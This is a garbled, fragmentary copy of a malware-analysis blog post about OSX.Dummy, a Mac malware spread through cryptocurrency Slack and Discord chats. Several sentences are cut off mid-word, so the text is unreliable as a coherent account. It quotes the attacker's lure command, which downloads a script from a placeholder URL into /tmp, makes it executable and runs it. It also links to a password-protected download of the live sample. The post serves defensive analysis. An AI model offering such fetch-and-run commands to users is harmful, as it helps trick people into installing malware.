OSX.Dummy

new mac malware targets the cryptocurrency community

06/29/2018

Enjoy these blog po

Aloha!

Sign up for our newsletter and notifications about new tools & blog posts?

Email Address

Subscribe

Early today, Rem Diary Blog'. Titled "Crypto co

> "Previou Slack or Discord d, resulting

His great writeup s method of persistence (laur

Here, we dive in ally thwart this new threat, at every step of the way!

> Want to play along? 👾☠️
> I've shared the malware, which can be downloaded here (password: infect3d).

OSX.Dummy

Remco Verhoef states the malware attacks are:

> *"originating within crypto related Slack or Discord chats groups by impersonating admins or key people. Small snippets are being shared, resulting in downloading and executing a malicious binary.*

Apparently attackers are asking users to infect themselves, via the following command:

```
$ cd /tmp && curl -s curl $MALICIOUS_URL > script && chmod +x script && ./script
```

If users fall for this (rather lame social engineering trick, a rather massive machO binary will be downloaded and executed.

Massive you say? Yes, it clocks in at 34M:

```
$ du -h /tmp/script 34M script
```

Using WhatsYourSign, we can see that the malicious binary is not signed:

© 2018 objective-see llc